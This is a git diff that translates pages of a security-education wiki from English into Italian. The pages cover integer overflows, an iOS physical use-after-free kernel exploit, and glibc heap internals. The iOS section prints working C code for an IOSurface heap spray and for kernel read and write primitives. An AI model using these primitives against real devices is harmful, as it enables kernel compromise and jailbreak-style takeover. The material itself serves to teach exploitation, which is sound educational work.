**0 a 65.535**, aggiungere 1 a 65.535 riporterà il valore a 0. -Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`). +Inoltre, un **intero con segno a 8 bit** può rappresentare valori da **-128 a 127**. Questo perché un bit è utilizzato per rappresentare il segno (positivo o negativo), lasciando 7 bit per rappresentare la grandezza. Il numero più negativo è rappresentato come **-128** (binario `10000000`), e il numero più positivo è **127** (binario `01111111`). -### Max values +### Valori massimi -For potential **web vulnerabilities** it's very interesting to know the maximum supported values: +Per le potenziali **vulnerabilità web** è molto interessante conoscere i valori massimi supportati: {{#tabs}} {{#tab name="Rust"}} - ```rust fn main() { - let mut quantity = 2147483647; +let mut quantity = 2147483647; - let (mul_result, _) = i32::overflowing_mul(32767, quantity); - let (add_result, _) = i32::overflowing_add(1, quantity); +let (mul_result, _) = i32::overflowing_mul(32767, quantity); +let (add_result, _) = i32::overflowing_add(1, quantity); - println!("{}", mul_result); - println!("{}", add_result); +println!("{}", mul_result); +println!("{}", add_result); } ``` - {{#endtab}} {{#tab name="C"}} - ```c #include #include int main() { - int a = INT_MAX; - int b = 0; - int c = 0; +int a = INT_MAX; +int b = 0; +int c = 0; - b = a * 100; - c = a + 1; +b = a * 100; +c = a + 1; - printf("%d\n", INT_MAX); - printf("%d\n", b); - printf("%d\n", c); - return 0; +printf("%d\n", INT_MAX); +printf("%d\n", b); +printf("%d\n", c); +return 0; } ``` - {{#endtab}} {{#endtabs}} -## Examples +## Esempi -### Pure overflow - -The printed result will be 0 as we overflowed the char: +### Overflow puro +Il risultato stampato sarà 0 poiché abbiamo sovraccaricato il char: ```c #include int main() { - unsigned char max = 255; // 8-bit unsigned integer - unsigned char result = max + 1; - printf("Result: %d\n", result); // Expected to overflow - return 0; +unsigned char max = 255; // 8-bit unsigned integer +unsigned char result = max + 1; +printf("Result: %d\n", result); // Expected to overflow +return 0; } ``` +### Conversione da Firmato a Non Firmato -### Signed to Unsigned Conversion - -Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation: - +Considera una situazione in cui un intero firmato viene letto dall'input dell'utente e poi utilizzato in un contesto che lo tratta come un intero non firmato, senza una corretta validazione: ```c #include int main() { - int userInput; // Signed integer - printf("Enter a number: "); - scanf("%d", &userInput); +int userInput; // Signed integer +printf("Enter a number: "); +scanf("%d", &userInput); - // Treating the signed input as unsigned without validation - unsigned int processedInput = (unsigned int)userInput; +// Treating the signed input as unsigned without validation +unsigned int processedInput = (unsigned int)userInput; - // A condition that might not work as intended if userInput is negative - if (processedInput > 1000) { - printf("Processed Input is large: %u\n", processedInput); - } else { - printf("Processed Input is within range: %u\n", processedInput); - } +// A condition that might not work as intended if userInput is negative +if (processedInput > 1000) { +printf("Processed Input is large: %u\n", processedInput); +} else { +printf("Processed Input is within range: %u\n", processedInput); +} - return 0; +return 0; } ``` +In questo esempio, se un utente inserisce un numero negativo, verrà interpretato come un grande intero senza segno a causa del modo in cui i valori binari vengono interpretati, portando potenzialmente a comportamenti imprevisti. -In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior. - -### Other Examples +### Altri Esempi - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection +- Solo 1B è utilizzato per memorizzare la dimensione della password, quindi è possibile sovraccaricarlo e farlo pensare che la sua lunghezza sia 4 mentre in realtà è 260 per bypassare la protezione del controllo della lunghezza - [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) - - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one: +- Dati un paio di numeri, scopri usando z3 un nuovo numero che moltiplicato per il primo darà il secondo: - ``` - (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) - ``` +``` +(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) +``` - [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) - - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections +- Solo 1B è utilizzato per memorizzare la dimensione della password, quindi è possibile sovraccaricarlo e farlo pensare che la sua lunghezza sia 4 mentre in realtà è 260 per bypassare la protezione del controllo della lunghezza e sovrascrivere nello stack la prossima variabile locale e bypassare entrambe le protezioni ## ARM64 -This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). +Questo **non cambia in ARM64** come puoi vedere in [**questo post del blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). {{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md index dbf5dc009..820b0074d 100644 --- a/src/binary-exploitation/ios-exploiting.md +++ b/src/binary-exploitation/ios-exploiting.md @@ -1,212 +1,203 @@ # iOS Exploiting -## Physical use-after-free +## Uso fisico dopo la liberazione -This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) +Questo è un riassunto del post da [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html); ulteriori informazioni sull'exploit utilizzando questa tecnica possono essere trovate in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) -### Memory management in XNU +### Gestione della memoria in XNU -The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**. +Lo **spazio degli indirizzi di memoria virtuale** per i processi utente su iOS va da **0x0 a 0x8000000000**. Tuttavia, questi indirizzi non mappano direttamente la memoria fisica. Invece, il **kernel** utilizza **tabelle delle pagine** per tradurre gli indirizzi virtuali in **indirizzi fisici** reali. -#### Levels of Page Tables in iOS +#### Livelli delle Tabelle delle Pagine in iOS -Page tables are organized hierarchically in three levels: +Le tabelle delle pagine sono organizzate gerarchicamente in tre livelli: -1. **L1 Page Table (Level 1)**: - * Each entry here represents a large range of virtual memory. - * It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory. -2. **L2 Page Table (Level 2)**: - * An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB). - * An L1 entry may point to an L2 table if it can't map the entire region itself. -3. **L3 Page Table (Level 3)**: - * This is the finest level, where each entry maps a single **4 KB** memory page. - * An L2 entry may point to an L3 table if more granular control is needed. +1. **Tabella delle Pagine L1 (Livello 1)**: +* Ogni voce qui rappresenta un ampio intervallo di memoria virtuale. +* Copre **0x1000000000 byte** (o **256 GB**) di memoria virtuale. +2. **Tabella delle Pagine L2 (Livello 2)**: +* Una voce qui rappresenta una regione più piccola di memoria virtuale, specificamente **0x2000000 byte** (32 MB). +* Una voce L1 può puntare a una tabella L2 se non può mappare l'intera regione da sola. +3. **Tabella delle Pagine L3 (Livello 3)**: +* Questo è il livello più fine, dove ogni voce mappa una singola pagina di memoria **4 KB**. +* Una voce L2 può puntare a una tabella L3 se è necessario un controllo più dettagliato. -#### Mapping Virtual to Physical Memory +#### Mappatura della Memoria Virtuale a Fisica -* **Direct Mapping (Block Mapping)**: - * Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut). -* **Pointer to Child Page Table**: - * If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2). +* **Mappatura Diretta (Mappatura a Blocchi)**: +* Alcune voci in una tabella delle pagine **mappano direttamente un intervallo di indirizzi virtuali** a un intervallo contiguo di indirizzi fisici (come un collegamento diretto). +* **Puntatore alla Tabella delle Pagine Figlia**: +* Se è necessario un controllo più fine, una voce in un livello (ad es., L1) può puntare a una **tabella delle pagine figlia** al livello successivo (ad es., L2). -#### Example: Mapping a Virtual Address +#### Esempio: Mappatura di un Indirizzo Virtuale -Let’s say you try to access the virtual address **0x1000000000**: +Supponiamo che tu stia cercando di accedere all'indirizzo virtuale **0x1000000000**: -1. **L1 Table**: - * The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table. -2. **L2 Table**: - * The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there. -3. **L3 Table**: - * The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page. +1. **Tabella L1**: +* Il kernel controlla la voce della tabella delle pagine L1 corrispondente a questo indirizzo virtuale. Se ha un **puntatore a una tabella delle pagine L2**, va a quella tabella L2. +2. **Tabella L2**: +* Il kernel controlla la tabella delle pagine L2 per una mappatura più dettagliata. Se questa voce punta a una **tabella delle pagine L3**, procede lì. +3. **Tabella L3**: +* Il kernel cerca la voce finale L3, che punta all'**indirizzo fisico** della pagina di memoria effettiva. -#### Example of Address Mapping +#### Esempio di Mappatura degli Indirizzi -If you write the physical address **0x800004000** into the first index of the L2 table, then: +Se scrivi l'indirizzo fisico **0x800004000** nel primo indice della tabella L2, allora: -* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**. -* This is a **block mapping** at the L2 level. +* Gli indirizzi virtuali da **0x1000000000** a **0x1002000000** mappano a indirizzi fisici da **0x800004000** a **0x802004000**. +* Questa è una **mappatura a blocchi** a livello L2. -Alternatively, if the L2 entry points to an L3 table: +In alternativa, se la voce L2 punta a una tabella L3: -* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table. +* Ogni pagina di 4 KB nell'intervallo di indirizzi virtuali **0x1000000000 -> 0x1002000000** sarebbe mappata da voci individuali nella tabella L3. -### Physical use-after-free +### Uso fisico dopo la liberazione -A **physical use-after-free** (UAF) occurs when: +Un **uso fisico dopo la liberazione** (UAF) si verifica quando: -1. A process **allocates** some memory as **readable and writable**. -2. The **page tables** are updated to map this memory to a specific physical address that the process can access. -3. The process **deallocates** (frees) the memory. -4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free. -5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**. -6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory. +1. Un processo **alloca** della memoria come **leggibile e scrivibile**. +2. Le **tabelle delle pagine** vengono aggiornate per mappare questa memoria a un indirizzo fisico specifico a cui il processo può accedere. +3. Il processo **dealloca** (libera) la memoria. +4. Tuttavia, a causa di un **bug**, il kernel **dimentica di rimuovere la mappatura** dalle tabelle delle pagine, anche se segna la corrispondente memoria fisica come libera. +5. Il kernel può quindi **riallocare questa memoria fisica "liberata"** per altri scopi, come **dati del kernel**. +6. Poiché la mappatura non è stata rimossa, il processo può ancora **leggere e scrivere** in questa memoria fisica. -This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**. +Ciò significa che il processo può accedere a **pagine di memoria del kernel**, che potrebbero contenere dati o strutture sensibili, consentendo potenzialmente a un attaccante di **manipolare la memoria del kernel**. -### Exploitation Strategy: Heap Spray +### Strategia di Sfruttamento: Heap Spray -Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**: +Poiché l'attaccante non può controllare quali pagine specifiche del kernel verranno allocate nella memoria liberata, utilizza una tecnica chiamata **heap spray**: -1. The attacker **creates a large number of IOSurface objects** in kernel memory. -2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify. -3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page. -4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**. +1. L'attaccante **crea un gran numero di oggetti IOSurface** nella memoria del kernel. +2. Ogni oggetto IOSurface contiene un **valore magico** in uno dei suoi campi, rendendolo facile da identificare. +3. Loro **scansionano le pagine liberate** per vedere se uno di questi oggetti IOSurface è atterrato su una pagina liberata. +4. Quando trovano un oggetto IOSurface su una pagina liberata, possono usarlo per **leggere e scrivere nella memoria del kernel**. -More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) +Ulteriori informazioni su questo in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) -### Step-by-Step Heap Spray Process +### Processo di Heap Spray Passo dopo Passo -1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value"). -2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page. -3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them: - * Use one field to **read any 32-bit value** in kernel memory. - * Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**. - -Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for: +1. **Spray degli Oggetti IOSurface**: L'attaccante crea molti oggetti IOSurface con un identificatore speciale ("valore magico"). +2. **Scansione delle Pagine Liberate**: Controllano se uno degli oggetti è stato allocato su una pagina liberata. +3. **Leggi/Scrivi nella Memoria del Kernel**: Manipolando i campi nell'oggetto IOSurface, ottengono la capacità di eseguire **letture e scritture arbitrarie** nella memoria del kernel. Questo consente loro di: +* Usare un campo per **leggere qualsiasi valore a 32 bit** nella memoria del kernel. +* Usare un altro campo per **scrivere valori a 64 bit**, ottenendo una **primitiva di lettura/scrittura del kernel** stabile. +Genera oggetti IOSurface con il valore magico IOSURFACE_MAGIC da cercare in seguito: ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { - if (*nClients >= 0x4000) return; - for (int i = 0; i < nSurfaces; i++) { - fast_create_args_t args; - lock_result_t result; - - size_t size = IOSurfaceLockResultSize; - args.address = 0; - args.alloc_size = *nClients + 1; - args.pixel_format = IOSURFACE_MAGIC; - - IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); - io_connect_t id = result.surface_id; - - (*clients)[*nClients] = id; - *nClients = (*nClients) += 1; - } +if (*nClients >= 0x4000) return; +for (int i = 0; i < nSurfaces; i++) { +fast_create_args_t args; +lock_result_t result; + +size_t size = IOSurfaceLockResultSize; +args.address = 0; +args.alloc_size = *nClients + 1; +args.pixel_format = IOSURFACE_MAGIC; + +IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); +io_connect_t id = result.surface_id; + +(*clients)[*nClients] = id; +*nClients = (*nClients) += 1; +} } ``` - -Search for **`IOSurface`** objects in one freed physical page: - +Cerca oggetti **`IOSurface`** in una pagina fisica liberata: ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { - io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); - int nSurfaceIDs = 0; - - for (int i = 0; i < 0x400; i++) { - spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); - - for (int j = 0; j < nPages; j++) { - uint64_t start = puafPages[j]; - uint64_t stop = start + (pages(1) / 16); - - for (uint64_t k = start; k < stop; k += 8) { - if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { - info.object = k; - info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; - if (self_task) *self_task = iosurface_get_receiver(k); - goto sprayDone; - } - } - } - } - +io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); +int nSurfaceIDs = 0; + +for (int i = 0; i < 0x400; i++) { +spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); + +for (int j = 0; j < nPages; j++) { +uint64_t start = puafPages[j]; +uint64_t stop = start + (pages(1) / 16); + +for (uint64_t k = start; k < stop; k += 8) { +if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { +info.object = k; +info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; +if (self_task) *self_task = iosurface_get_receiver(k); +goto sprayDone; +} +} +} +} + sprayDone: - for (int i = 0; i < nSurfaceIDs; i++) { - if (surfaceIDs[i] == info.surface) continue; - iosurface_release(client, surfaceIDs[i]); - } - free(surfaceIDs); - - return 0; +for (int i = 0; i < nSurfaceIDs; i++) { +if (surfaceIDs[i] == info.surface) continue; +iosurface_release(client, surfaceIDs[i]); +} +free(surfaceIDs); + +return 0; } ``` +### Ottenere Read/Write del Kernel con IOSurface -### Achieving Kernel Read/Write with IOSurface +Dopo aver ottenuto il controllo su un oggetto IOSurface nella memoria del kernel (mappato a una pagina fisica liberata accessibile dallo spazio utente), possiamo usarlo per **operazioni di lettura e scrittura arbitrarie nel kernel**. -After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**. +**Campi Chiave in IOSurface** -**Key Fields in IOSurface** +L'oggetto IOSurface ha due campi cruciali: -The IOSurface object has two crucial fields: +1. **Puntatore al Conteggio di Utilizzo**: Consente una **lettura a 32 bit**. +2. **Puntatore al Timestamp Indicizzato**: Consente una **scrittura a 64 bit**. -1. **Use Count Pointer**: Allows a **32-bit read**. -2. **Indexed Timestamp Pointer**: Allows a **64-bit write**. +Sovrascrivendo questi puntatori, li reindirizziamo a indirizzi arbitrari nella memoria del kernel, abilitando le capacità di lettura/scrittura. -By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities. +#### Lettura del Kernel a 32 Bit -#### 32-Bit Kernel Read - -To perform a read: - -1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset. -2. Use the `get_use_count` method to read the value at that address. +Per eseguire una lettura: +1. Sovrascrivi il **puntatore al conteggio di utilizzo** per puntare all'indirizzo target meno un offset di 0x14 byte. +2. Usa il metodo `get_use_count` per leggere il valore a quell'indirizzo. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { - uint64_t args[1] = {surfaceID}; - uint32_t size = 1; - uint64_t out = 0; - IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); - return (uint32_t)out; +uint64_t args[1] = {surfaceID}; +uint32_t size = 1; +uint64_t out = 0; +IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); +return (uint32_t)out; } uint32_t iosurface_kread32(uint64_t addr) { - uint64_t orig = iosurface_get_use_count_pointer(info.object); - iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 - uint32_t value = get_use_count(info.client, info.surface); - iosurface_set_use_count_pointer(info.object, orig); - return value; +uint64_t orig = iosurface_get_use_count_pointer(info.object); +iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 +uint32_t value = get_use_count(info.client, info.surface); +iosurface_set_use_count_pointer(info.object, orig); +return value; } ``` +#### Scrittura del Kernel a 64 Bit -#### 64-Bit Kernel Write - -To perform a write: - -1. Overwrite the **indexed timestamp pointer** to the target address. -2. Use the `set_indexed_timestamp` method to write a 64-bit value. +Per eseguire una scrittura: +1. Sovrascrivi il **puntatore del timestamp indicizzato** all'indirizzo target. +2. Usa il metodo `set_indexed_timestamp` per scrivere un valore a 64 bit. ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { - uint64_t args[3] = {surfaceID, 0, value}; - IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); +uint64_t args[3] = {surfaceID, 0, value}; +IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); } void iosurface_kwrite64(uint64_t addr, uint64_t value) { - uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); - iosurface_set_indexed_timestamp_pointer(info.object, addr); - set_indexed_timestamp(info.client, info.surface, value); - iosurface_set_indexed_timestamp_pointer(info.object, orig); +uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); +iosurface_set_indexed_timestamp_pointer(info.object, addr); +set_indexed_timestamp(info.client, info.surface, value); +iosurface_set_indexed_timestamp_pointer(info.object, orig); } ``` +#### Riepilogo del Flusso di Exploit -#### Exploit Flow Recap - -1. **Trigger Physical Use-After-Free**: Free pages are available for reuse. -2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory. -3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control. -4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods. - -With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices). +1. **Attivare l'Uso-Fisico Dopo la Liberazione**: Le pagine liberate sono disponibili per il riutilizzo. +2. **Spray degli Oggetti IOSurface**: Allocare molti oggetti IOSurface con un "valore magico" unico nella memoria del kernel. +3. **Identificare l'IOSurface Accessibile**: Localizzare un IOSurface su una pagina liberata che controlli. +4. **Abusare dell'Uso-Fisico Dopo la Liberazione**: Modificare i puntatori nell'oggetto IOSurface per abilitare la **lettura/scrittura** arbitraria del **kernel** tramite i metodi IOSurface. +Con queste primitive, l'exploit fornisce **letture a 32 bit** e **scritture a 64 bit** controllate nella memoria del kernel. Ulteriori passaggi di jailbreak potrebbero coinvolgere primitive di lettura/scrittura più stabili, che potrebbero richiedere di bypassare ulteriori protezioni (ad es., PPL su dispositivi arm64e più recenti). diff --git a/src/binary-exploitation/libc-heap/README.md b/src/binary-exploitation/libc-heap/README.md index 319126fe0..959cf578d 100644 --- a/src/binary-exploitation/libc-heap/README.md +++ b/src/binary-exploitation/libc-heap/README.md @@ -2,196 +2,189 @@ ## Heap Basics -The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**. +L'heap è fondamentalmente il luogo dove un programma può memorizzare dati quando richiede dati chiamando funzioni come **`malloc`**, `calloc`... Inoltre, quando questa memoria non è più necessaria, viene resa disponibile chiamando la funzione **`free`**. -As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section): +Come mostrato, si trova subito dopo dove il binario viene caricato in memoria (controlla la sezione `[heap]`):
### Basic Chunk Allocation -When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is. +Quando alcuni dati vengono richiesti per essere memorizzati nell'heap, viene allocato uno spazio nell'heap per essi. Questo spazio apparterrà a un bin e solo i dati richiesti + lo spazio degli header del bin + l'offset della dimensione minima del bin saranno riservati per il chunk. L'obiettivo è riservare la minima memoria possibile senza rendere complicato trovare dove si trova ogni chunk. A tal fine, vengono utilizzate le informazioni sui chunk di metadata per sapere dove si trova ogni chunk utilizzato/libero. -There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following: +Ci sono diversi modi per riservare lo spazio principalmente a seconda del bin utilizzato, ma una metodologia generale è la seguente: -- The program starts by requesting certain amount of memory. -- If in the list of chunks there someone available big enough to fulfil the request, it'll be used - - This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list -- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk -- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk -- If everything fails, `malloc` returns null. +- Il programma inizia richiedendo una certa quantità di memoria. +- Se nella lista dei chunk c'è qualcuno disponibile abbastanza grande da soddisfare la richiesta, verrà utilizzato. +- Questo potrebbe anche significare che parte del chunk disponibile verrà utilizzato per questa richiesta e il resto verrà aggiunto alla lista dei chunk. +- Se non c'è alcun chunk disponibile nella lista ma c'è ancora spazio nella memoria heap allocata, il gestore dell'heap crea un nuovo chunk. +- Se non c'è abbastanza spazio nell'heap per allocare il nuovo chunk, il gestore dell'heap chiede al kernel di espandere la memoria allocata all'heap e poi utilizza questa memoria per generare il nuovo chunk. +- Se tutto fallisce, `malloc` restituisce null. -Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory. +Nota che se la **memoria richiesta supera una soglia**, **`mmap`** verrà utilizzato per mappare la memoria richiesta. ## Arenas -In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck. +Nelle applicazioni **multithreaded**, il gestore dell'heap deve prevenire **race conditions** che potrebbero portare a crash. Inizialmente, questo veniva fatto utilizzando un **mutex globale** per garantire che solo un thread potesse accedere all'heap alla volta, ma questo causava **problemi di prestazioni** a causa del collo di bottiglia indotto dal mutex. -To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas. +Per affrontare questo problema, l'allocatore di heap ptmalloc2 ha introdotto "arenas", dove **ogni arena** funge da **heap separato** con le proprie **strutture** di dati e **mutex**, consentendo a più thread di eseguire operazioni sull'heap senza interferire tra loro, purché utilizzino arene diverse. -The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention. +L'arena "principale" predefinita gestisce le operazioni sull'heap per applicazioni a thread singolo. Quando vengono aggiunti **nuovi thread**, il gestore dell'heap assegna loro **arene secondarie** per ridurre la contesa. Prima tenta di collegare ogni nuovo thread a un'arena non utilizzata, creando nuove arene se necessario, fino a un limite di 2 volte il numero di core CPU per sistemi a 32 bit e 8 volte per sistemi a 64 bit. Una volta raggiunto il limite, **i thread devono condividere le arene**, portando a potenziale contesa. -Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations. +A differenza dell'arena principale, che si espande utilizzando la chiamata di sistema `brk`, le arene secondarie creano "subheaps" utilizzando `mmap` e `mprotect` per simulare il comportamento dell'heap, consentendo flessibilità nella gestione della memoria per operazioni multithreaded. ### Subheaps -Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate: +I subheaps servono come riserve di memoria per le arene secondarie nelle applicazioni multithreaded, consentendo loro di crescere e gestire le proprie regioni heap separatamente dall'heap principale. Ecco come i subheaps differiscono dall'heap iniziale e come operano: -1. **Initial Heap vs. Subheaps**: - - The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call. - - Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region. -2. **Memory Reservation with `mmap`**: - - When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use. - - By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes. -3. **Gradual Expansion with `mprotect`**: - - The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet. - - To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed. - - Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation. +1. **Heap Iniziale vs. Subheaps**: +- L'heap iniziale si trova direttamente dopo il binario del programma in memoria e si espande utilizzando la chiamata di sistema `sbrk`. +- I subheaps, utilizzati dalle arene secondarie, vengono creati tramite `mmap`, una chiamata di sistema che mappa una regione di memoria specificata. +2. **Riservazione di Memoria con `mmap`**: +- Quando il gestore dell'heap crea un subheap, riserva un grande blocco di memoria tramite `mmap`. Questa riservazione non alloca immediatamente memoria; designa semplicemente una regione che altri processi di sistema o allocazioni non dovrebbero utilizzare. +- Per impostazione predefinita, la dimensione riservata per un subheap è di 1 MB per processi a 32 bit e 64 MB per processi a 64 bit. +3. **Espansione Graduale con `mprotect`**: +- La regione di memoria riservata è inizialmente contrassegnata come `PROT_NONE`, indicando che il kernel non ha bisogno di allocare memoria fisica per questo spazio ancora. +- Per "crescere" il subheap, il gestore dell'heap utilizza `mprotect` per cambiare i permessi delle pagine da `PROT_NONE` a `PROT_READ | PROT_WRITE`, invitando il kernel ad allocare memoria fisica agli indirizzi precedentemente riservati. Questo approccio graduale consente al subheap di espandersi secondo necessità. +- Una volta esaurito l'intero subheap, il gestore dell'heap crea un nuovo subheap per continuare l'allocazione. ### heap_info -This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info. - +Questa struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837 typedef struct _heap_info { - mstate ar_ptr; /* Arena for this heap. */ - struct _heap_info *prev; /* Previous heap. */ - size_t size; /* Current size in bytes. */ - size_t mprotect_size; /* Size in bytes that has been mprotected - PROT_READ|PROT_WRITE. */ - size_t pagesize; /* Page size used when allocating the arena. */ - /* 